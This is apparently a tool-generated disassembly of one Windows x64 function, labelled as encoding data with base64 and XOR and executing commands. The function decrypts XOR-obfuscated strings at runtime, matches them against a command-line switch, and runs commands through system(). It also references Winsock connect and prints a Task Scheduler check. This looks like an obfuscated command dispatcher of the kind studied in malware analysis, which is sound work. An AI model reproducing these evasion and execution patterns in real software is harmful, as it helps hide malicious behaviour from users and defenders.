Function at 0x1400013b0
Capabilities:
Encode data using base64
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x1b8]
sub rsp, 0x2a0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rsi, rdx
mov r15d, ecx
cmp ecx, 2
jl 0x140002fca
mov rax, qword [rdx + 8]
cmp byte [rax], 0x2f
jne 0x140002fca
mov rax, qword gs:[0x58]
mov r14, qword [rax]
mov ecx, 0x500
mov eax, dword [rcx + r14]
mov ebx, 0x214
add rbx, r14
test al, 1
jne 0x14000143b
or eax, 1
mov dword [rcx + r14], eax
mov dword [rbx + 2], 0x13b9d40
mov word [rbx], 0x1626
lea rcx, [0x14000b770]
call fcn.14000944c
nop
cmp byte [rbx + 5], 0
je 0x140001458
xor byte [rbx], 9
xor byte [rbx + 1], 0x71
xor byte [rbx + 2], 0x25
xor byte [rbx + 3], 0xe9
xor byte [rbx + 4], 0x3b
mov byte [rbx + 5], 0
mov rax, qword [rsi + 8]
sub rbx, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + rbx]
sub edx, ecx
jne 0x140001472
inc rax
test ecx, ecx
jne 0x140001460
test edx, edx
jne 0x1400014bc
lea rcx, [0x14000c530]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ebx, ebx
nop word [rax + rax]
mov rax, qword [rsi + 0x20]
lea rcx, [0x14000c534]
test rax, rax
cmovne rcx, rax
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
cmp ebx, eax
jge 0x1400016ce
mov rdx, rsi
call fcn.140001070
inc ebx
jmp 0x140001490
mov ecx, 0x4d8
mov eax, dword [rcx + r14]
mov edx, 0x154
test al, 1
jne 0x1400014f8
or eax, 1
mov dword [rcx + r14], eax
lea rdi, [r14 + rdx]
mov word [rdi + 5], 0x1c1
mov dword [rdi], 0xc794452a
mov byte [rdi + 4], 0xa8
lea rcx, [0x14000b750]
call fcn.14000944c
nop
jmp 0x1400014fc
lea rdi, [r14 + rdx]
xor ebx, ebx
mov r12d, dword [0x140010018]
movdqa xmm6, xmmword [0x14000c740]
movdqa xmm7, xmmword [0x14000c6d0]
cmp byte [rdi + 6], bl
je 0x1400015b0
mov r8d, ebx
cmp r12d, 5
jl 0x14000157e
mov ecx, ebx
movdqa xmm2, xmmword [0x14000c710]
movdqa xmm3, xmmword [0x14000ca50]
nop dword [rax]
movq xmm0, rcx
punpcklqdq xmm0, xmm0
paddq xmm0, xmm7
andps xmm0, xmm2
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
pshufb xmm1, xmm6
movzx eax, word [rdi + rcx]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [rdi + rcx], ax
add rcx, 2
cmp rcx, 6
jb 0x140001540
jmp 0x1400015ad
movabs r9, 0x8165c1cfa9fd3505
nop dword [rax + rax]
movzx ecx, r8b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [rdi + r8], dl
inc r8
cmp r8, 6
jb 0x140001590
mov byte [rdi + 6], bl
mov rax, qword [rsi + 8]
sub rdi, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + rdi]
sub edx, ecx
jne 0x1400015d2
inc rax
test ecx, ecx
jne 0x1400015c0
test edx, edx
je 0x1400016ce
mov ecx, 0x48c
mov eax, dword [rcx + r14]
mov edx, 0x3a0
test al, 1
jne 0x140001612
or eax, 1
mov dword [rcx + r14], eax
lea rdi, [r14 + rdx]
mov dword [rdi + 2], 0x1856357
mov word [rdi], 0x6602
lea rcx, [0x14000b730]
call fcn.14000944c
nop
jmp 0x140001616
lea rdi, [r14 + rdx]
cmp byte [rdi + 5], 0
je 0x140001633
xor byte [rdi], 0x2d
xor byte [rdi + 1], 7
xor byte [rdi + 2], 0x25
xor byte [rdi + 3], 0x13
xor byte [rdi + 4], 0x85
mov byte [rdi + 5], 0
mov rax, qword [rsi + 8]
sub rdi, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + rdi]
sub edx, ecx
jne 0x140001652
inc rax
test ecx, ecx
jne 0x140001640
test edx, edx
jne 0x1400016d5
lea rcx, [0x14000c530]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x748
mov eax, dword [rcx + r14]
mov edx, 0x750
test al, 1
jne 0x14000169c
or eax, 1
mov dword [rcx + r14], eax
lea rbx, [r14 + rdx]
mov dword [rbx + 4], 0x16bb61a
mov dword [rbx], 0xf53d2714
lea rcx, [0x14000b870]
call fcn.14000944c
nop
jmp 0x1400016a0
lea rbx, [r14 + rdx]
cmp byte [rbx + 7], 0
je 0x1400016c5
xor byte [rbx], 0x75
xor byte [rbx + 1], 0x55
xor byte [rbx + 2], 0x4d
xor byte [rbx + 3], 0xd5
xor byte [rbx + 4], 0x37
xor byte [rbx + 5], 0xd7
xor byte [rbx + 6], 0x6b
mov byte [rbx + 7], 0
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
jmp 0x140002fdb
mov ecx, 0x380
mov eax, dword [rcx + r14]
mov edx, 0x390
test al, 1
jne 0x14000170d
or eax, 1
mov dword [rcx + r14], eax
lea rdi, [r14 + rdx]
mov dword [rdi + 2], 0x1cb49d0
mov word [rdi], 0x4c58
lea rcx, [0x14000b710]
call fcn.14000944c
nop
jmp 0x140001711
lea rdi, [r14 + rdx]
cmp byte [rdi + 5], 0
je 0x14000172e
xor byte [rdi], 0x77
xor byte [rdi + 1], 0x3f
xor byte [rdi + 2], 0xb5
xor byte [rdi + 3], 0x3d
xor byte [rdi + 4], 0xcb
mov byte [rdi + 5], 0
mov rax, qword [rsi + 8]
sub rdi, rax
movzx edx, byte [rax]
movzx ecx, byte [rax + rdi]
sub edx, ecx
jne 0x140001747
inc rax
test ecx, ecx
jne 0x140001735
test edx, edx
jne 0x140001764
lea rcx, [0x14000c530]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140005bf0
xor eax, eax
jmp 0x140002fdb
mov ecx, 0x38c
mov eax, dword [rcx + r14]
mov edx, 0x360
test al, 1
jne 0x1400017ad
or eax, 1
mov dword [rcx + r14], eax
lea rdi, [r14 + rdx]
mov word [rdi + 0xb], 0x1bb
mov dword [rdi], 0xcf2abcba
mov dword [rdi + 4], 0x9ab62fd3
mov word [rdi + 8], 0xa8f0
mov byte [rdi + 0xa], 0x3c
lea rcx, [0x14000b6f0]
call fcn.14000944c
nop
jmp 0x1400017b1
lea rdi, [r14 + rdx]
movdqa xmm3, xmmword [0x14000c700]
movdqa xmm4, xmmword [reloc.WS2_32.dll_connect]
movdqa xmm5, xmmword [0x14000c6e0]
cmp byte [rdi + 0xc], 0
je 0x1400018b1
mov r8, rbx
cmp r12d, 5
jl 0x140001884
movdqa xmm2, xmmword [0x14000ce80]
movdqa xmm0, xmm7
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [rdi]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [rdi], ax
movdqa xmm0, xmm5
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [rdi + 2]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [rdi + 2], ax
movdqa xmm0, xmm4
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [rdi + 4]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [rdi + 4], ax
movdqa xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [rdi + 6]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [rdi + 6], ax
mov r8d, 8
movabs r9, 0xf9d95da3bb4fdb95
nop
movzx ecx, r8b
and cl, 7
shl cl, 3
mov rdx, r9
shr rdx, cl
xor byte [rdi + r8], dl
inc r8
cmp r8, 0xc
jb 0x140001890
mov byte [rdi + 0xc], 0
mov rax, qword [rsi + 8]
sub rdi, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + rdi]
sub edx, ecx
jne 0x1400018d2
inc rax
test ecx, ecx
jne 0x1400018c0
test edx, edx
jne 0x1400019d1
cmp r15d, 3
jge 0x1400019b5
movdqa xmm0, xmmword [0x14000ca70]
mov dword [rsp + 0x30], 0x144527b1
mov dword [rsp + 0x34], 0x960cda7c
mov dword [rsp + 0x38], 0x165639b1
mov word [rsp + 0x3c], 0xb57a
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov ecx, 0x21c
mov eax, dword [rcx + rdi]
mov ebx, 0x460
test al, 1
jne 0x1400019a1
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x1f], 1
lea rax, [rcx + 0x1e]
lea rdx, [rsp + 0x3e]
cmp rcx, rdx
ja 0x140001972
lea rdx, [rsp + 0x20]
cmp rax, rdx
jb 0x140001972
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x30]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rsp + 0x38]
mov dword [rcx + 0x18], eax
movzx eax, word [rsp + 0x3c]
mov word [rcx + 0x1c], ax
mov byte [rcx + 0x1e], 0x7f
jmp 0x140001994
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x30]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rsp + 0x38]
mov dword [rcx + 0x18], eax
movzx eax, word [rsp + 0x3c]
mov word [rcx + 0x1c], ax
mov byte [rcx + 0x1e], 0x7f
lea rcx, [0x14000b6c0]
call fcn.14000944c
nop
lea r11, [rbx + rdi]
mov rcx, r11
call fcn.140005560
mov rcx, r11
jmp 0x140002fd1
lea rcx, [0x14000c530]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, rsi
call fcn.140007c50
xor eax, eax
jmp 0x140002fdb
mov rax, qword gs:[0x58]
mov r14, qword [rax]
mov ecx, 0x3ac
mov eax, dword [rcx + r14]
mov edi, 0x5e0
test al, 1
jne 0x140001a3d
or eax, 1
mov dword [rcx + r14], eax
mov dword [r14 + rdi + 0xa], 0x1298ca8
mov dword [r14 + rdi], 0x93b21a18
mov dword [r14 + rdi + 4], 0x6221af45
mov word [r14 + rdi + 8], 0x1454
lea rcx, [0x14000b6a0]
call fcn.14000944c
nop
movdqa xmm3, xmmword [0x14000c700]
movdqa xmm4, xmmword [reloc.WS2_32.dll_connect]
movdqa xmm5, xmmword [0x14000c6e0]
lea r9, [r14 + rdi]
cmp byte [r9 + 0xd], 0
je 0x140001b32
mov r8, rbx
cmp r12d, 5
jl 0x140001af9
movdqa xmm2, xmmword [0x14000c790]
movdqa xmm0, xmm7
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9], ax
psllq xmm5, 3
vpsrlvq xmm1, xmm2, xmm5
pshufb xmm1, xmm6
movzx eax, word [r9 + 2]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 2], ax
psllq xmm4, 3
vpsrlvq xmm1, xmm2, xmm4
pshufb xmm1, xmm6
movzx eax, word [r9 + 4]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 4], ax
psllq xmm3, 3
vpsrlvq xmm1, xmm2, xmm3
pshufb xmm1, xmm6
movzx eax, word [r9 + 6]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 6], ax
mov r8d, 8
movabs r10, 0xd53df29ffdb7137
nop dword [rax]
nop word [rax + rax]
movzx ecx, r8b
and cl, 7
shl cl, 3
mov rdx, r10
shr rdx, cl
xor byte [r9 + r8], dl
inc r8
cmp r8, 0xd
jb 0x140001b10
mov byte [r9 + 0xd], 0
mov rax, qword [rsi + 8]
sub r9, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r9]
sub edx, ecx
jne 0x140001b53
inc rax
test ecx, ecx
jne 0x140001b40
test edx, edx
jne 0x140001b73
lea rcx, [0x14000c530]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, rsi
call fcn.140008440
xor eax, eax
jmp 0x140002fdb
movdqa xmm0, xmmword [0x14000c820]
mov dword [rbp + 0x58], 0xf9248dff
mov rax, qword gs:[0x58]
mov r14, qword [rax]
mov ecx, 0x39c
mov eax, dword [rcx + r14]
mov edi, 0x4e0
test al, 1
jne 0x140001bee
or eax, 1
mov dword [rcx + r14], eax
lea rcx, [r14 + rdi]
mov byte [rcx + 0x15], 1
lea rax, [rcx + 0x14]
lea rdx, [rbp + 0x5c]
cmp rcx, rdx
ja 0x140001bd4
lea rdx, [rbp + 0x48]
cmp rax, rdx
jb 0x140001bd4
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x58]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], reloc.WS2_32.dll_WSAStartup
jmp 0x140001be1
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x58]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], reloc.WS2_32.dll_WSAStartup
lea rcx, [0x14000b680]
call fcn.14000944c
nop
add rdi, r14
mov rcx, rdi
call fcn.1400053e0
mov r11, qword [rsi + 8]
sub rdi, r11
movzx ecx, byte [r11]
movzx eax, byte [r11 + rdi]
sub ecx, eax
jne 0x140001c14
inc r11
test eax, eax
jne 0x140001c00
test ecx, ecx
jne 0x140001c31
lea rcx, [0x14000c530]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400069d0
xor eax, eax
jmp 0x140002fdb
movdqa xmm0, xmmword [str.4_U]
mov dword [rbp - 0x58], 0xf352247c
mov word [rbp - 0x54], 0xa487
mov ecx, 0x570
mov eax, dword [rcx + r14]
mov r15d, 0x328
test al, 1
jne 0x140001cb7
or eax, 1
mov dword [rcx + r14], eax
lea rcx, [r14 + r15]
mov byte [rcx + 0x17], 1
lea rax, [rcx + 0x16]
lea rdx, [rbp - 0x52]
cmp rcx, rdx
ja 0x140001c95
lea rdx, [rbp - 0x68]
cmp rax, rdx
jb 0x140001c95
movups xmmword [rcx], xmm0
mov eax, dword [rbp - 0x58]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp - 0x54]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0xa7
jmp 0x140001caa
movups xmmword [rcx], xmm0
mov eax, dword [rbp - 0x58]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp - 0x54]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0xa7
lea rcx, [0x14000b650]
call fcn.14000944c
nop
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
lea r14, [rdi + r15]
mov rcx, r14
call fcn.140005260
mov r11, qword [rsi + 8]
sub r14, r11
nop word [rax + rax]
movzx ecx, byte [r11]
movzx eax, byte [r11 + r14]
sub ecx, eax
jne 0x140001cf4
inc r11
test eax, eax
jne 0x140001ce0
test ecx, ecx
jne 0x140001d25
lea rcx, [0x14000c530]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140006600
mov r11, rax
mov rcx, rax
call fcn.140006840
mov rcx, r11
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
jmp 0x140002fdb
mov ecx, 0x488
mov eax, dword [rcx + rdi]
mov r14d, 0x308
test al, 1
jne 0x140001d64
or eax, 1
mov dword [rcx + rdi], eax
mov dword [rdi + r14 + 8], 0x12df69e
mov dword [rdi + r14], 0xb64ce9d2
mov dword [rdi + r14 + 4], 0x9621f6b2
lea rcx, [0x14000b620]
call fcn.14000944c
nop
lea rax, [rdi + r14]
cmp byte [rax + 0xb], 0
je 0x140001d9d
xor byte [rax], 0xfd
xor byte [rax + 1], 0x9d
xor byte [rax + 2], 0x2d
xor byte [rax + 3], 0xc5
xor byte [rax + 4], 0xd9
xor byte [rax + 5], 0x95
xor byte [rax + 6], 0x49
xor byte [rax + 7], 0xf3
xor byte [rax + 8], 0xfd
xor byte [rax + 9], 0x9d
xor byte [rax + 0xa], 0x2d
mov byte [rax + 0xb], 0
mov rcx, qword [rsi + 8]
sub rax, rcx
nop dword [rax]
nop dword [rax + rax]
movzx r8d, byte [rcx]
movzx edx, byte [rcx + rax]
sub r8d, edx
jne 0x140001dc4
inc rcx
test edx, edx
jne 0x140001db0
test r8d, r8d
jne 0x140001ed7
lea rcx, [0x14000c530]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Checking_Task_Scheduler
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006370
lea rdx, [0x140006550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movdqa xmm0, xmmword [0x14000c8f0]
mov dword [rsp + 0x50], 0xc506b7f2
mov dword [rsp + 0x54], 0x21546087
mov dword [rsp + 0x58], 0xe51ffefd
mov ecx, 0x8f0
mov eax, dword [rcx + rdi]
mov ebx, 0x8d0
test al, 1
jne 0x140001e8d
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + rbx]
mov byte [rcx + 0x1c], 1
lea rax, [rcx + 0x1b]
lea rdx, [rsp + 0x5b]
cmp rcx, rdx
ja 0x140001e6b
lea rdx, [rsp + 0x40]
cmp rax, rdx
jb 0x140001e6b
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rsp + 0x58]
mov dword [rcx + 0x18], eax
jmp 0x140001e80
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rcx + 0x10], xmm0
mov eax, dword [rsp + 0x58]
mov dword [rcx + 0x18], eax
lea rcx, [0x14000b9d0]
call fcn.14000944c
nop
mov rax, qword gs:[0x58]
mov r11, qword [rax]
add r11, rbx
mov rcx, r11
call fcn.140007810
mov rcx, r11
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Task_Scheduler_check_complete
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140006370
lea rdx, [0x140006550]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor eax, eax
jmp 0x140002fdb
mov ecx, 0x31c
mov eax, dword [rcx + rdi]
mov r14d, 0x228
test al, 1
jne 0x140001f23
or eax, 1
mov dword [rcx + rdi], eax
mov word [rdi + r14 + 0xb], 0x1ad
mov dword [rdi + r14], 0xcebb2692
mov dword [rdi + r14 + 4], 0x98caf491
mov word [rdi + r14 + 8], 0x2dd2
mov byte [rdi + r14 + 0xa], 0xb0
lea rcx, [0x14000b600]
call fcn.14000944c
nop
lea r9, [rdi + r14]
cmp byte [r9 + 0xc], 0
je 0x140002032
mov r8, rbx
cmp r12d, 5
jl 0x140001ff7
movdqa xmm2, xmmword [0x14000ce10]
movdqa xmm0, xmm7
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9], ax
movdqa xmm0, xmmword [0x14000c6e0]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 2]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 2], ax
movdqa xmm0, xmmword [reloc.WS2_32.dll_connect]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 4]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 4], ax
movdqa xmm0, xmmword [0x14000c700]
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
pshufb xmm1, xmm6
movzx eax, word [r9 + 6]
movd xmm0, eax
xorps xmm1, xmm0
movd eax, xmm1
mov word [r9 + 6], ax
mov r8d, 8
movabs r10, 0xf1b981fdadc343bd
nop dword [rax]
nop word [rax + rax]
movzx ecx, r8b
and cl, 7
shl cl, 3
mov rdx, r10
shr rdx, cl
xor byte [r8 + r9], dl
inc r8
cmp r8, 0xc
jb 0x140002010
mov byte [r9 + 0xc], 0
mov rax, qword [rsi + 8]
sub r9, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r9]
sub edx, ecx
jne 0x140002053
inc rax
test ecx, ecx
jne 0x140002040
test edx, edx
jne 0x140002098
lea rcx, [0x14000c530]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140007990
mov r11, rax
mov rcx, rax
call fcn.140007ad0
mov rcx, r11
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x1400016ce
lea rdx, str.Failed_to_execute_command
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
jmp 0x140001ebb
movdqa xmm0, xmmword [0x14000c8c0]
mov dword [rbp + 0x70], 0xdb9c277
mov rax, qword gs:[0x58]
mov r14, qword [rax]
mov ecx, 0x348
mov eax, dword [rcx + r14]
mov edi, 0x558
test al, 1
jne 0x140002113
or eax, 1
mov dword [rcx + r14], eax
lea rcx, [r14 + rdi]
mov byte [rcx + 0x15], 1
lea rax, [rcx + 0x14]
lea rdx, [rbp + 0x74]
cmp rcx, rdx
ja 0x1400020f9
lea rdx, [rbp + 0x60]
cmp rax, rdx
jb 0x1400020f9
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x70]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], 0x19
jmp 0x140002106
movups xmmword [rcx], xmm0
mov eax, dword [rbp + 0x70]
mov dword [rcx + 0x10], eax
mov byte [rcx + 0x14], 0x19
lea rcx, [0x14000b5e0]
call fcn.14000944c
nop
add rdi, r14
mov rcx, rdi
call fcn.1400050e0
mov r11, qword [rsi + 8]
sub rdi, r11
nop word [rax + rax]
movzx ecx, byte [r11]
movzx eax, byte [r11 + rdi]
sub ecx, eax
jne 0x140002144
inc r11
test eax, eax
jne 0x140002130
test ecx, ecx
jne 0x140002164
lea rcx, [0x14000c530]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, rsi
call fcn.140008840
xor eax, eax
jmp 0x140002fdb
movdqa xmm0, xmmword [0x14000c980]
mov dword [rsp + 0x70], 0x58c93bd2
mov dword [rsp + 0x74], 0x6896fe19
mov word [rsp + 0x78], 0x43f9
mov ecx, 0x238
mov eax, dword [rcx + r14]
mov edi, 0x168
test al, 1
jne 0x1400021f9
or eax, 1
mov dword [rcx + r14], eax
lea rcx, [r14 + rdi]
mov byte [rcx + 0x1a], 1
lea rax, [rcx + 0x19]
lea rdx, [rsp + 0x79]
cmp rcx, rdx
ja 0x1400021d5
lea rdx, [rsp + 0x60]
cmp rax, rdx
jb 0x1400021d5
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x70]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rsp + 0x78]
mov word [rcx + 0x18], ax
jmp 0x1400021ec
movups xmmword [rcx], xmm0
movsd xmm0, qword [rsp + 0x70]
movsd qword [rcx + 0x10], xmm0
movzx eax, word [rsp + 0x78]
mov word [rcx + 0x18], ax
lea rcx, [0x14000b5b0]
call fcn.14000944c
nop
mov rax, qword gs:[0x58]
mov r14, qword [rax]
add rdi, r14
mov rcx, rdi
call fcn.140004f60
mov r11, qword [rsi + 8]
sub rdi, r11
nop word [rax + rax]
movzx ecx, byte [r11]
movzx eax, byte [r11 + rdi]
sub ecx, eax
jne 0x140002234
inc r11
test eax, eax
jne 0x140002220
test ecx, ecx
jne 0x140002254
lea rcx, [0x14000c530]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, rsi
call fcn.140008b70
xor eax, eax
jmp 0x140002fdb
mov ecx, 0x384
mov eax, dword [rcx + r14]
mov edi, 0x220
test al, 1
jne 0x140002282
or eax, 1
mov dword [rcx + r14], eax
mov dword [r14 + rdi], 0x12940ce
lea rcx, [0x14000b590]
call fcn.14000944c
nop
lea rdx, [r14 + rdi]
cmp byte [rdx + 3], 0
je 0x14000229b
xor byte [rdx], 0xe1
xor byte [rdx + 1], 0x7f
xor byte [rdx + 2], 0x29
mov byte [rdx + 3], 0
mov rax, qword [rsi + 8]
sub rdx, rax
movzx r8d, byte [rax]
movzx ecx, byte [rax + rdx]
sub r8d, ecx
jne 0x1400022b6
inc rax
test ecx, ecx
jne 0x1400022a2
test r8d, r8d
je 0x140002413
mov ecx, 0x4f8
mov eax, dword [rcx + r14]
mov edi, 0x160
test al, 1
jne 0x1400022ed
or eax, 1
mov dword [rcx + r14], eax
mov dword [r14 + rdi], 0x12917ce
lea rcx, [0x14000b570]
call fcn.14000944c
nop
lea rdx, [r14 + rdi]
cmp byte [rdx + 3], 0
je 0x140002306
xor byte [rdx], 0xe1
xor byte [rdx + 1], 0x7f
xor byte [rdx + 2], 0x29
mov byte [rdx + 3], 0
mov rax, qword [rsi + 8]
sub rdx, rax
nop dword [rax]
movzx r8d, byte [rax]
movzx ecx, byte [rax + rdx]
sub r8d, ecx
jne 0x140002324
inc rax
test ecx, ecx
jne 0x140002310
test r8d, r8d
je 0x140002413
mov rax, qword gs:[0x58]
mov r14, qword [rax]
mov ecx, 0x420
mov eax, dword [rcx + r14]
mov edi, 0x3b0
test al, 1
jne 0x14000236c
or eax, 1
mov dword [rcx + r14], eax
mov word [r14 + rdi + 1], 0x17f
mov byte [r14 + rdi], 0xde
lea rcx, [0x14000b550]
call fcn.14000944c
nop
lea r9, [r14 + rdi]
cmp byte [r9 + 2], 0
je 0x1400023e2
mov r8, rbx
cmp r12d, 5
jl 0x1400023b0
movdqa xmm1, xmm7
psllq xmm1, 3
movdqa xmm0, xmmword [0x14000c8a0]
vpsrlvq xmm2, xmm0, xmm1
pshufb xmm2, xmm6
movzx eax, word [r9]
movd xmm0, eax
xorps xmm2, xmm0
movd eax, xmm2
mov word [r9], ax
jmp 0x1400023dd
movabs r10, 0x415dbdcb29297fe1
nop word [rax + rax]
movzx ecx, r8b
and cl, 7
shl cl, 3
mov rdx, r10
shr rdx, cl
xor byte [r8 + r9], dl
inc r8
cmp r8, 2
jb 0x1400023c0
mov byte [r9 + 2], 0
mov rax, qword [rsi + 8]
sub r9, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r9]
sub edx, ecx
jne 0x140002403
inc rax
test ecx, ecx
jne 0x1400023f0
test edx, edx
je 0x140002413
lea rcx, str.Invalid_command_n
jmp 0x140002fd1
lea rcx, [0x14000c530]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140005870
mov r15, rax
movdqa xmm0, xmmword [0x14000cc00]
mov dword [rbp - 0x40], 0x3e12e5fd
mov word [rbp - 0x3c], 0x6920
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx]
mov ecx, 0x15c
mov eax, dword [rcx + rdi]
mov r14d, 0x490
test al, 1
jne 0x1400024b8
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + r14]
mov byte [rcx + 0x17], 1
lea rax, [rcx + 0x16]
lea rdx, [rbp - 0x3a]
cmp rcx, rdx
ja 0x140002496
lea rdx, [rbp - 0x50]
cmp rax, rdx
jb 0x140002496
movups xmmword [rcx], xmm0
mov eax, dword [rbp - 0x40]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp - 0x3c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x39
jmp 0x1400024ab
movups xmmword [rcx], xmm0
mov eax, dword [rbp - 0x40]
mov dword [rcx + 0x10], eax
movzx eax, word [rbp - 0x3c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0x39
lea rcx, [0x14000b520]
call fcn.14000944c
nop
lea r11, [r14 + rdi]
mov rcx, r11
call fcn.140004de0
mov rdx, r15
mov rcx, r11
call fcn.140001010
mov r15, qword [rsi]
movdqa xmm0, xmmword [0x14000cda0]
movdqa xmm1, xmmword [0x14000cbd0]
mov dword [rbp + 0x38], 0xd7f37461
mov dword [rbp + 0x3c], 0xa5eb6c75
mov dword [rbp + 0x40], 0x919f7114
mov ecx, 0x370
mov eax, dword [rcx + rdi]
mov r14d, 0x190
test al, 1
jne 0x140002572
or eax, 1
mov dword [rcx + rdi], eax
lea rcx, [rdi + r14]
mov byte [rcx + 0x2d], 1
lea rax, [rcx + 0x2c]
lea rdx, [rbp + 0x44]
cmp rcx, rdx
ja 0x14000254a
lea rdx, [rbp + 0x18]
cmp rax, rdx
